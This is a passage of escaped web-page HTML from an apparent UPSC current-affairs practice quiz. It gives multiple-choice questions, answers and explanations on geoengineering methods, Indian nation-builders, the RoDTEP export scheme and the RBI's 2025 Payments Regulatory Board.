2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/southwest-monsoon-withdrawal-on-hold-october-to-be-rainy-with-warm-nights\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/climate-change\/southwest-monsoon-withdrawal-on-hold-october-to-be-rainy-with-warm-nights<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>5. Consider the following pairs:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>S.No<\/strong><\/td><td><strong>Geoengineering Method<\/strong><\/td><td><strong>Purpose<\/strong><\/td><\/tr><tr><td><strong>1<\/strong><\/td><td>Ocean fertilisation<\/td><td>Solar Radiation Management<\/td><\/tr><tr><td><strong>2<\/strong><\/td><td>Stratospheric aerosol injection<\/td><td>Carbon Dioxide Removal<\/td><\/tr><tr><td><strong>3<\/strong><\/td><td>Sea curtains<\/td><td>slow melting of polar ice sheets and glaciers<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>In how many of the above rows is the given information correctly matched?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">(a) Only one\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">(b) Only two\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">(c) All the three\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">(d) None\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Answer: (a) Only one&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>In NEWS: <\/strong>Polar geoengineering projects could cause severe harm, scientists say<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Geoengineering:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-114\">\n<li>Geoengineering involves intentionally intervening in the Earth&#8217;s climate system to counteract climate change, primarily by removing carbon dioxide (CDR) or managing solar radiation (SRM).<\/li>\n\n\n\n<li>While proposals range from artificial cloud brightening and stratospheric aerosol injection to ocean fertilization, these methods are unproven at scale and carry significant environmental and societal risks.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Geoengineering Methods:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Carbon Dioxide Removal (CDR) Methods: These aim to remove CO\u2082 from the atmosphere and store it safely.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">1. Afforestation and reforestation involve planting new forests or restoring old ones to absorb atmospheric CO\u2082.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">2. Bioenergy with carbon capture and storage (BECCS) burns biomass for energy while capturing and storing the resulting CO\u2082 underground.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">3. Direct air capture (DAC) uses chemical processes to extract CO\u2082 directly from the air and store it underground or reuse it.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">4. Soil carbon sequestration enhances soil management practices to increase the amount of carbon stored in soil.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">5. Ocean fertilisation adds nutrients (like iron) to oceans to stimulate phytoplankton growth, which absorbs CO\u2082. <strong>Hence pair 1 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">6. Enhanced weathering spreads crushed minerals over land or in oceans to chemically react with and remove CO\u2082 from the air.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">7. Blue carbon management protects and restores coastal ecosystems (like mangroves and seagrasses) that capture carbon.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Solar Radiation Management (SRM) Methods: These aim to reflect sunlight back into space to reduce global warming effects.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">1. Stratospheric aerosol injection (SAI) releases reflective particles (like sulphur dioxide) into the upper atmosphere to block some sunlight. <strong>Hence pair 2 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">2. Marine cloud brightening sprays sea salt into clouds to make them brighter and more reflective.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">3. Surface albedo enhancement increases the reflectivity of land or built surfaces (e.g. white roofs or reflective crops).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">4. Space-based reflectors propose placing mirrors or other reflective objects in space to block or deflect sunlight.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">5. Cirrus cloud thinning aims to reduce the warming effect of high-altitude clouds by seeding them to encourage ice crystal formation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Polar or Glacial Geoengineering Methods: These target polar ice sheets and glaciers to slow melting and sea level rise.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">1. Subglacial water removal pumps water from beneath glaciers to slow their sliding into the ocean.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">2. Sea curtains or seabed walls are physical barriers placed underwater to block warm ocean currents from reaching polar glaciers. <strong>Hence pair 3 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">3. Sea ice thickening uses pumps to spray seawater onto ice surfaces so it freezes and strengthens the ice.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">4. Glass microbeads spreading involves scattering reflective beads over ice to increase sunlight reflection and reduce melting.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Risks and Concerns: Geoengineering would not address the root causes of climate change but proposes to mask its effects, presenting significant new risks.<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-136\">\n<li><strong>Unintended Environmental Consequences: <\/strong>Geoengineering could interfere with natural ocean and terrestrial ecosystems, and sudden cessation of Solar Radiation Management (SRM) could worsen climate effects.<\/li>\n\n\n\n<li><strong>Technical and Scientific Gaps: <\/strong>Few geoengineering methods are proven to work on a large scale, and their risks and uncertainties are not well understood.<\/li>\n\n\n\n<li><strong>Moral Hazard: <\/strong>Some argue that the potential for geoengineering might discourage vital efforts to reduce greenhouse gas emissions.<\/li>\n\n\n\n<li><strong>Governance and Ethics:<\/strong> There are significant concerns about the governance of these cross-boundary technologies and questions about public consent. The Center for International Environmental Law (CIEL) highlights potential human rights impacts and disproportionate effects on vulnerable communities.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><strong>Q. With reference to &#8216;Direct Air Capture&#8217; (DAC), which of the following statements is\/are correct?<\/strong> <br><br>I. It can be used as a way of carbon sequestration.\u00a0 <br>II. It can be a valuable approach for plastic production and in food processing.\u00a0 <br>III. In aviation, it can be a source of carbon for combining with hydrogen to create synthetic low-carbon fuel.\u00a0\u00a0 <br><br><strong>Select the correct answer using the code given below. <\/strong>\u00a0 <br><br>(a) I and II only\u00a0\u00a0 <br>(b) III only\u00a0\u00a0 <br><strong>(c) I, II and III<\/strong> <br>(d) None of the above statements is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/polar-geoengineering-projects-could-cause-severe-harm-scientists-say\/article70112422.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/polar-geoengineering-projects-could-cause-severe-harm-scientists-say\/article70112422.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>6. Consider the following pairs:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">1. M. Visvesvaraya&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Founder of the Indian Statistical Institute (ISI)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">2. Dr. Muthulakshmi Reddy: First woman legislator in Madras Legislative Council, 1927 in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">3. P.C. Mahalanobis &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Renowned civil engineer and served as Diwan of Mysore<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Which of the above pairs is\/are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(a) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Answer: (a) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>In NEWS: <\/strong>How Visvesvaraya, Muthulakshmi and Mahalanobis shaped modern India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong><u>Sir M. Visvesvaraya (1860\u20131962) \u2013 Engineer &amp; Nation-Builder<\/u><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Contributions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-152\">\n<li>Renowned <strong>civil engineer and statesman<\/strong>; served as <strong>Diwan of Mysore<\/strong> (1912\u20131918). <strong>Hence pair 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>Designed and implemented <strong>flood control systems<\/strong>, including the <strong>Krishna Raja Sagara (KRS) dam<\/strong> in Karnataka.<\/li>\n\n\n\n<li>Promoted <strong>industrialization in Mysore<\/strong>, setting up factories, hydroelectric projects, and modern infrastructure.<\/li>\n\n\n\n<li>Advocated <strong>planning and scientific approach<\/strong> to economic development; emphasized <strong>education and irrigation<\/strong> for rural prosperity.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Unique Aspect:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-154\">\n<li><strong>Blend of engineering and governance<\/strong> \u2014 applied technical expertise to transform a state\u2019s economy and infrastructure, earning him the title <strong>\u201cBharat Ratna\u201d (1955)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong><u>Dr. Muthulakshmi Reddy (1886\u20131968) \u2013 Social Reformer &amp; Pioneer<\/u><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>Contributions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-157\">\n<li>First <strong>woman legislator in India<\/strong> (Madras Legislative Council, 1927). <strong>Hence pair 2 is correct.<\/strong><\/li>\n\n\n\n<li>Advocated <strong>women\u2019s rights, child welfare, and abolition of the Devadasi system<\/strong>.<\/li>\n\n\n\n<li>Founded the <strong>Avvai Home for Destitute Women and Children<\/strong> and promoted <strong>healthcare and education for women<\/strong>.<\/li>\n\n\n\n<li>Instrumental in establishing <strong>Tamil Nadu\u2019s first maternity and child welfare services<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>Unique Aspect:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-159\">\n<li><strong>Pioneer in women\u2019s empowerment and social reform<\/strong>, breaking gender barriers in politics, medicine, and society.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong><u>P.C. Mahalanobis (1893\u20131972) \u2013 Statistician &amp; Economic Planner<\/u><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Contributions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-162\">\n<li>Founder of the <strong>Indian Statistical Institute (ISI)<\/strong> in 1931. <strong>Hence pair 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>Developed the <strong>Mahalanobis Distance<\/strong>, a key concept in multivariate statistics.<\/li>\n\n\n\n<li>Played a central role in <strong>India\u2019s Second Five-Year Plan (1956)<\/strong>; emphasized <strong>industrialization and heavy industries<\/strong>.<\/li>\n\n\n\n<li>Introduced <strong>statistical methods<\/strong> for economic planning and policy-making.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>Unique Aspect:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-164\">\n<li><strong>Merged science with economic planning<\/strong> \u2014 applied statistical analysis to guide India\u2019s industrial growth and national development.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><strong>Q. Consider the following pairs:<\/strong> <br>1. Radhakanta Deb \u2014 First President of the British Indian Association <br>2. Gazulu Lakshmi Narasu Chetty \u2014 Founder of the Madras Mahajana Sabha <br>3. Surendranath Banerjee \u2014 Founder of the Indian Association <br><br><strong>Which of the above pairs is\/are correctly matched?<\/strong> <br><br>(a) 1 only <br><strong>(b) 1 and 3 only<\/strong> <br>(c) 2 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/150453\/OPS\/GU5EUFL0G.1+G45EVKS8V.1.html\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/150453\/OPS\/GU5EUFL0G.1+G45EVKS8V.1.html<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>7. Consider the following statements with respect to the Remission of Duties and Taxes on Exported Products (RoDTEP):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">1. Manufacturer exporters and merchant exporters (traders) are both eligible for the benefits of this scheme.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">2. To be eligible to avail the benefits of this scheme, the exported products need to have the country of origin as India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\">3. Special Economic Zone Units and Export Oriented Units are not eligible to claim the benefits under this scheme.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">4. There is a mandatory turnover threshold of 500cr that exporters must meet to claim the RoDTEP benefit.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">(b) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\">(c) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>In NEWS: <\/strong>Govt extends RoDTEP export incentive scheme till March 31, 2026, exporters welcome the move<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>The Remission of Duties and Taxes on Exported Products (RoDTEP):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-180\">\n<li>The Remission of Duties and Taxes on Exported Products (RoDTEP) is an incentive scheme launched by the Government of India to reimburse exporters for various central, state, and local duties and taxes incurred during the manufacturing and distribution process.<\/li>\n\n\n\n<li>The scheme, operational since January 1, 2021, replaced the Merchandise Exports from India Scheme (MEIS) to be compliant with World Trade Organization (WTO) norms.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\"><strong>Features of the RoDTEP Scheme:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\"><strong>Refund of Previously Non-Refundable Taxes<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-183\">\n<li>Taxes like Mandi tax, VAT, Coal cess, and Excise duty on fuel are now refunded under RoDTEP \u2014 which were not covered under earlier schemes like MEIS or RoSCTL.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>Covers Earlier Export Incentive Items<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-185\">\n<li>Items under MEIS and RoSCTL are now brought under the scope of RoDTEP, ensuring continuity and broader coverage.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>Automated Credit System<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-187\">\n<li>Refunds are issued as transferable electronic scrips.<\/li>\n\n\n\n<li>These duty credits are maintained and tracked via a centralised electronic ledger.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\"><strong>Faster Processing via Digitisation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-189\">\n<li>Use of IT-based risk management system enables quicker verification and processing of exporter claims.<\/li>\n\n\n\n<li>Improves accuracy and speed of transactions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\"><strong>Multi-Sector Coverage<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-191\">\n<li>RoDTEP applies to all sectors, including textiles, ensuring uniform benefits.<\/li>\n\n\n\n<li>A dedicated committee decides rollout priorities and benefit rates for each sector.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\"><strong>Eligibility for RoDTEP Scheme:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-193\">\n<li>All sectors, including the textiles sector, may enjoy the benefits of the RoDTEP Scheme. Labor-intensive sectors that enjoy benefits under the MEIS Scheme will be given a priority.<\/li>\n\n\n\n<li>Manufacturer exporters and merchant exporters (traders) are both eligible for the benefits of this scheme. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>There is no particular turnover threshold to claim the RoDTEP. <strong>Hence statement 4 is incorrect.<\/strong><\/li>\n\n\n\n<li>Re-exported products are not eligible under this scheme.<\/li>\n\n\n\n<li>To be eligible to avail the benefits of this scheme, the exported products need to have the country of origin as India. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Special Economic Zone Units and Export Oriented Units are also eligible to claim the benefits under this scheme. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>Where goods have been exported via courier through e-commerce platforms, RoDTEP scheme applies to them as well.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><strong>Q. Consider the following actions which the Government can take:<\/strong> <br><br>1. Devaluing the domestic currency. <br>2. Reduction in the export subsidy. <br>3. Adopting suitable policies which attract greater FDI and more funds from FIls. <br><br><strong>Which, of the above action\/actions can help in reducing the current account deficit?<\/strong> <br><br>(a) 1 and 2 <br>(b) 2 and 3 <br>(c) 3 only <br><strong>(d) 1 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/Industry\/govt-extends-export-benefits-under-rodtep-scheme-till-march-2026\/article70112557.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/Industry\/govt-extends-export-benefits-under-rodtep-scheme-till-march-2026\/article70112557.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\"><strong>8. With reference to the \u2018Payments Regulatory Board Regulations, 2025\u2019, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\">1. It repeals the Board for Regulation and Supervision of Payment and Settlement Systems Regulations, 2008.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\">2. The 2025 Regulations retain the RBI Governor as the chairperson and specify that the regulatory board will only have the RBI Deputy Governor in charge of payment and settlement systems.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\">3. The members to be nominated by the government must have expertise in the fields of payment systems, be less than 70 years of age, not be an MP\/MLA, and not have been convicted of an offence punishable with imprisonment of at least 180 days.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-199 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\">(b) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-202 wp-block-paragraph\">(c) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-205 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-206 wp-block-paragraph\"><strong>In NEWS: <\/strong>RBI constitutes 6-member Payments Regulatory Board<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-207 wp-block-paragraph\"><strong>Payments Regulatory Board Regulations, 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-208\">\n<li>It repeals the <strong>Board for Regulation and Supervision of Payment and Settlement Systems Regulations, 2008. Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The 2008 Regulations constituted a committee of the RBI&#8217;s central board for the regulation and supervision of payment and settlement systems.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-209 wp-block-paragraph\"><strong>Key changes include:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-210 wp-block-paragraph\"><strong>Composition<\/strong>: Under the 2008 Regulations, the committee comprised:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-211 wp-block-paragraph\">(i) RBI governor as the chairperson,<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-212 wp-block-paragraph\">(ii) deputy governors, and<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-213 wp-block-paragraph\">(iii) up to three directors of the central board.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-214\">\n<li>Two executive directors and the principal legal advisor of RBI were permanent invitees to the Board.<\/li>\n\n\n\n<li>It could also invite persons with experience in the fields of payment and settlement systems as permanent or temporary invitees.<\/li>\n\n\n\n<li>The 2025 Regulations retain <strong>the RBI Governor as the chairperson<\/strong> and specify that the regulatory board will only have the RBI Deputy Governor in charge of payment and settlement systems. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Instead of directors of the Central Board, the Board will nominate one RBI officer.<\/li>\n\n\n\n<li>Three persons will be nominated by the central government.<\/li>\n\n\n\n<li>RBI executive directors will no longer be permanent invitees to the Board.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-215 wp-block-paragraph\"><strong>Eligibility for nominated members:<\/strong> Members to be nominated by the central government must:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-216 wp-block-paragraph\">(i) have expertise in the fields of payment systems, information technology, or law,<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-217 wp-block-paragraph\">(ii) be less than 70 years of age,<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-218 wp-block-paragraph\">(iii) not be an MP\/MLA, and<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-219 wp-block-paragraph\">(iv) not have been convicted of an offence punishable with imprisonment of at least 180 days. <strong>Hence statement 3 is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><strong>Q. Consider the following statements:<\/strong> <strong>The Reserve Bank of India\u2019s recent directives relating to \u2018Storage of Payment System Data, popularly known as data diktat, command the payment system providers that<\/strong> <br><br>1. they shall ensure that entire data relating to payment systems operated by them are stored in a system only in India <br>2. they shall ensure that the systems are owned and operated by public sector enterprises <br>3. they shall submit the consolidated system audit report to the Comptroller and Auditor General of India by the end of the calendar year <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 1 and 2 only <br>(c) 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/cities\/mumbai\/rbi-constitutes-6-member-payments-regulatory-board-10280813\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/cities\/mumbai\/rbi-constitutes-6-member-payments-regulatory-board-10280813\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-220 wp-block-paragraph\"><strong>9. Consider the following statements with reference to 